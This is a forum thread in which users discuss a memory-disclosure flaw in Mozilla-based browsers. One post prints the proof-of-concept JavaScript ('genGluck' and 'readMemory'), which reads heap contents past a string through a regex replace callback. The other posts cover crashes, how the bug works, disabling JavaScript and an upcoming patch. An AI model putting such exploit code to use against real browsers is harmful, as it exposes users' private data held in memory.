Critacal flaw in Mozilla based browsers

GEC: Discuss gaming, computers and electronics and venture into the bizarre world of STGODs.

Moderator: Thanas

Post Reply
User avatar
Faram
Bastard Operator from Hell
Posts: 5271
Joined: 2002-07-04 07:39am
Location: Fighting Polarbears

Critacal flaw in Mozilla based browsers

Post by Faram »

Proof of consept

Bad mozilla BAD

Mozilla
Firefox
Netscape

Is at risk.
[img=right]http://hem.bredband.net/b217293/warsaban.gif[/img]

"Either God wants to abolish evil, and cannot; or he can, but does not want to. ... If he wants to, but cannot, he is impotent. If he can, but does not want to, he is wicked. ... If, as they say, God can abolish evil, and God really wants to do it, why is there evil in the world?" -Epicurus


Fear is the mother of all gods.

Nature does all things spontaneously, by herself, without the meddling of the gods. -Lucretius
User avatar
Archaic`
Jedi Council Member
Posts: 1647
Joined: 2002-10-01 01:19am
Location: Brisbane, Australia
Contact:

Post by Archaic` »

:shock:

They dropped the ball bad with this one. Hopefully there'll be an urgent security update soon.
Veni Vidi Castravi Illegitimos
User avatar
Terr Fangbite
Padawan Learner
Posts: 363
Joined: 2004-07-08 12:21am

Post by Terr Fangbite »

Windows crashed Mozilla when I tried running the script. Repeatedly. Funny that.
Beware Windows. Linux Comes.
http://ammtb.keenspace.com
User avatar
Praxis
Sith Acolyte
Posts: 6012
Joined: 2002-12-22 04:02pm
Contact:

Post by Praxis »

Weird. It worked, showing some sites I had just been to. I clicked a couple more times and suddenly Firefox crashed.
User avatar
Guy N. Cognito
Padawan Learner
Posts: 488
Joined: 2004-06-02 01:26am
Location: Vancouver B.C
Contact:

Post by Guy N. Cognito »

Hmmmm.... this isn't good. Luckily I disable external access to my computer when it isn't in use. Still disconcerting though.
"Though there are only 5 colours, in combination, they can create more hues then can ever be seen" Sun Tzu, The Art of War
User avatar
Master of Ossus
Darkest Knight
Posts: 18213
Joined: 2002-07-11 01:35am
Location: California

Post by Master of Ossus »

All you have to do is disable JAVA scripting, which is pretty easy with Mozilla (I had actually already done it).
"Sometimes I think you WANT us to fail." "Shut up, just shut up!" -Two Guys from Kabul

Latinum Star Recipient; Hacker's Cross Award Winner

"one soler flar can vapririze the planit or malt the nickl in lass than millasacit" -Bagara1000

"Happiness is just a Flaming Moe away."
User avatar
GrandMasterTerwynn
Emperor's Hand
Posts: 6787
Joined: 2002-07-29 06:14pm
Location: Somewhere on Earth.

Post by GrandMasterTerwynn »

Praxis wrote:Weird. It worked, showing some sites I had just been to. I clicked a couple more times and suddenly Firefox crashed.
Yep. That's what happens when you try to access memory that doesn't belong to you. Seg. fault/core dump.

This is an appallingly bad security bug.
User avatar
Dalton
For Those About to Rock We Salute You
For Those About to Rock We Salute You
Posts: 22637
Joined: 2002-07-03 06:16pm
Location: New York, the Fuck You State
Contact:

Post by Dalton »

Crashed my browser too :(
Image
Image
To Absent Friends
Dalton | Admin Smash | Knight of the Order of SDN

"y = mx + bro" - Surlethe
"You try THAT shit again, kid, and I will mod you. I will
mod you so hard, you'll wish I were Dalton." - Lagmonster

May the way of the Hero lead to the Triforce.
User avatar
Dooey Jo
Sith Devotee
Posts: 3127
Joined: 2002-08-09 01:09pm
Location: The land beyond the forest; Sweden.
Contact:

Post by Dooey Jo »

Here's the code that does it (except those three Xs should actually be 10 000) :

Code: Select all

function genGluck(str){
	var x = str;
	var rx=/end/i;
	x = x.replace(rx,function($1){
		$1.match(rx);
		return "";
	});
	x = x.replace(/^end/,"");
	return x;
}


function readMemory()
{
	var mem = genGluck("XXXend");

	mem = mem.replace(/[^\.\\\:\/\'\(\)\"\_\?\=\%\&\;\#\@\- a-zA-Z0-9]+/g, " ");

	document.getElementById('result').value = mem;

}
Now, how the hell does that work? That first regexp up there should replace "end" with nothing, right? And the second regexp replaces all "end" with something before with nothing, so all that basically does is removes that last "end". And that last, mem.replace, should replace most readable characters with a blank space, so why does it write characters from the memory? :wtf:

This seems to be almost as weird as the time when IE started hating my if-s (which was very weird, but then again, it was IE...)
Image
"Nippon ichi, bitches! Boing-boing."
Mai smote the demonic fires of heck...

Faker Ninjas invented ninjitsu
User avatar
Spacebeard
Padawan Learner
Posts: 473
Joined: 2005-03-21 10:52pm
Location: MD, USA

Post by Spacebeard »

Dooey Jo wrote: Now, how the hell does that work? That first regexp up there should replace "end" with nothing, right? And the second regexp replaces all "end" with something before with nothing, so all that basically does is removes that last "end". And that last, mem.replace, should replace most readable characters with a blank space, so why does it write characters from the memory?
The last regexp is doing the reverse of what you say: it's keeping only the human-readable characters, and replacing unprintable characters with a space. Note the '^' at the front of the set; it's matching characters in the complement of that set.

The bug is exploited in the 'genGluck' function. I'm not familiar with Javascript, but it looks as though by using a lambda function as the argument to 'replace' as they do, they are able to read off the end of their allocated string and into the heap. Probably the memory accessible to them depends on where in the heap their string got allocated.

Until there is a fix available, I would turn off Javascript as much as possible, turning it on only for sites that demand the use of it. I would also quit the browser and relaunch after viewing or entering sensitive information.
"This war, all around us, is being fought over the very meanings of words." - Chad, Deus Ex
User avatar
Dooey Jo
Sith Devotee
Posts: 3127
Joined: 2002-08-09 01:09pm
Location: The land beyond the forest; Sweden.
Contact:

Post by Dooey Jo »

Javascript can be very useful, too. Most websites would be a lot less functional without it (for most people anyway). It sucks though that there are people out there that use it to do bad stuff, but I guess that's just the way humans are. Someone comes up with a great idea and someone else have to use it do annoy the shit out of others...
Spacebeard wrote:The last regexp is doing the reverse of what you say: it's keeping only the human-readable characters, and replacing unprintable characters with a space. Note the '^' at the front of the set; it's matching characters in the complement of that set.
Ah yes, right you are! *cleans glasses* :oops:
The bug is exploited in the 'genGluck' function. I'm not familiar with Javascript, but it looks as though by using a lambda function as the argument to 'replace' as they do, they are able to read off the end of their allocated string and into the heap. Probably the memory accessible to them depends on where in the heap their string got allocated.
Yes, that is what I find strange. That function should just replace the match with nothing, it should not make memory accessible. Well, I guess that's why it's a bug...
Image
"Nippon ichi, bitches! Boing-boing."
Mai smote the demonic fires of heck...

Faker Ninjas invented ninjitsu
User avatar
Natorgator
Jedi Knight
Posts: 856
Joined: 2003-04-26 08:23pm
Location: Atlanta, GA

Post by Natorgator »

That's odd. I have Firefox and clicked that test repeatedly but no crash. :?

I guess that's a good thing, though :D
Image
User avatar
Avalon616
Padawan Learner
Posts: 386
Joined: 2005-03-12 08:40pm
Location: Massachusetts

Post by Avalon616 »

I'm sure some of you already know this, but Mozilla is already working on the patch (ver. 1.0.3) which should be out in a couple days...

See here.
Image
Member- SOS:NBA | GALE
User avatar
The Dark
Emperor's Hand
Posts: 7378
Joined: 2002-10-31 10:28pm
Location: Promoting ornithological awareness

Post by The Dark »

*shrug* I don't have Java installed for my Firefox anyway (at least, I don't think I do). I still use IE for Java work because the webpages I work on recognize my copy of it. I wonder if ZoneAlarm blocks that security hole...
Stanley Hauerwas wrote:[W]hy is it that no one is angry at the inequality of income in this country? I mean, the inequality of income is unbelievable. Unbelievable. Why isn’t that ever an issue of politics? Because you don’t live in a democracy. You live in a plutocracy. Money rules.
BattleTech for SilCore
User avatar
Uraniun235
Emperor's Hand
Posts: 13772
Joined: 2002-09-12 12:47am
Location: OREGON
Contact:

Post by Uraniun235 »

The Dark wrote:*shrug* I don't have Java installed for my Firefox anyway (at least, I don't think I do). I still use IE for Java work because the webpages I work on recognize my copy of it. I wonder if ZoneAlarm blocks that security hole...
Java is not the same as JavaScript.
User avatar
The Dark
Emperor's Hand
Posts: 7378
Joined: 2002-10-31 10:28pm
Location: Promoting ornithological awareness

Post by The Dark »

Uraniun235 wrote:
The Dark wrote:*shrug* I don't have Java installed for my Firefox anyway (at least, I don't think I do). I still use IE for Java work because the webpages I work on recognize my copy of it. I wonder if ZoneAlarm blocks that security hole...
Java is not the same as JavaScript.
Doh! :banghead: . I can't read today. That's what comes of reading through multiple things at work, none of them get read completely correct.
Stanley Hauerwas wrote:[W]hy is it that no one is angry at the inequality of income in this country? I mean, the inequality of income is unbelievable. Unbelievable. Why isn’t that ever an issue of politics? Because you don’t live in a democracy. You live in a plutocracy. Money rules.
BattleTech for SilCore
User avatar
phongn
Rebel Leader
Posts: 18487
Joined: 2002-07-03 11:11pm

Post by phongn »

Dooey Jo wrote:Javascript can be very useful, too. Most websites would be a lot less functional without it (for most people anyway). It sucks though that there are people out there that use it to do bad stuff, but I guess that's just the way humans are. Someone comes up with a great idea and someone else have to use it do annoy the shit out of others...
For example, both Google Maps and Gmail heavily use JavaScript. The technology is generically known as Ajax, or "Asynchronous JavaScript + XML."
Post Reply